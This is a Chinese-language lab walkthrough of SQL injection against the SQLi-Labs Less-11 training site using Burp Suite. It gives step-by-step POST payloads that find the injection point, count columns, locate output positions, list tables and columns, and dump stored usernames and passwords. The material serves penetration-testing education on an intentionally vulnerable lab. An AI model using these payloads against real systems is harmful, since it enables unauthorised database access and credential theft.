访问SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11。访问的URL为:
http://[靶机IP]/sqli-labs/Less-11/

利用Burpsuite工具抓包
启动Burpsuite
在攻击机Pentest-Atk的桌面文件夹Burp中,打开Burpsuite程序

设置Burpsuite的代理服务端口
在Burpsuite软件界面上选择选项卡“Proxy”->”Options”,在Proxy Listeners模块下,将Burpsuite的代理服务器端口设置为8080(此为Burpsuite默认的服务端口)

开启Burpsuite的代理拦截功能
在Burpsuite软件界面上选择选项卡“Proxy”->”Intercept”,将拦截开关按钮的状态设置为“Intercept is on”。

设置Firefox代理
回到Firefox浏览器界面,鼠标右键点击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择全部URLs启用代理服务器127.0.0.1:8080

代理设置成功后,FoxyProxy插件图标会变蓝

利用Burpsuite工具拦截HTTP请求包
在FireFox浏览器访问的Less-11登录验证界面,输入用户名admin、密码任意,然后点击Subnit按钮

此时Burpsuite会拦截到HTTP请求包:

将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块
选中拦截到的HTTP请求包全部内容,点击右键,选中Send to Repeater,将其发送给Burpsuite的Repeater模块。

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

后续中,可以在Repeater选项卡中的Request栏中设置注入的payload,设置完成后点击Send发送吧,并在Response观察服务器的响应。
寻找注入点
在POST表单处,分别使用以下两条payload寻找注入点及判断注入点的类型:
uname=admin ’&passwd=1&sumit=Submit
报错!

uname=admin ’#&passwd=1&sumit=Submit
目标正常回显用户名和密码!

由此可以判断,目标网站在POST参数处存在字符型注入点。
判断网站查询的字段数
尝试使用以下payload获取网站查询的字段数:
uname=admin ’ order by 1#&passwd=1&sumit=Submit
目标正常回显用户名和密码!

uname=admin ’ order by 2#&passwd=1&sumit=Submit
目标正常回显用户名和密码!

uname=admin ’ order by 3#&passwd=1&sumit=Submit
报错!

由此可以判断,网站查询的字段数为2。
判断网站的回显位置
利用以下payload判断网站的回显位置:
uname=admin ’ and 1=2 union select 1,2#&passwd=1&sumit=Submit
运行结果,1号和2号位均可以回显!

获取网站当前所在数据库的库名
利用以下payload获取网站当前所在数据库的库名:
uname=admin ’ and 1=2 union select 1,database()#&passwd=1&sumit=Submit
显示结果为security。

获取数据库security的全部表名
利用以下payload获取数据库security的全部表名:
uname=admin’ and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’security’ #&passwd=1&sumit=Submit
显示结果中,有一个名为users的表,这当中可能存在用户的基本信息。

获取users表的全部字段名
利用以下payload获取users表的全部字段名:
uname=admin' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=111&submit=Submit
显示结果,users表中有id、username和password三个字段。

获取users表id、username和password字段的全部值
由于users表中存放着许多用户名和密码的数据,而每次只能显示一组数据,我么们可以通过limit M,N的方式逐条显示,
第1组数据
uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 0,1#&passwd=111&submit=Submit
结果为Dump,Dump。

第2组数据
uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 1,1#&passwd=111&submit=Submit
结果为Angelina,l-kill-you。

第3组数据
uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 2,1#&passwd=111&submit=Submit
结果为Dummy,p@ssword。

可以通过修改limit后面的参数,将users表中的所有用户信息显示出来。
本文通过详细指导如何使用Burpsuite工具,探索了SQLi-Labs网站的字符型注入漏洞,包括判断字段数、回显位置和数据库信息获取,展示了渗透测试过程中的关键步骤和技术应用。
26万+

被折叠的 条评论
为什么被折叠?



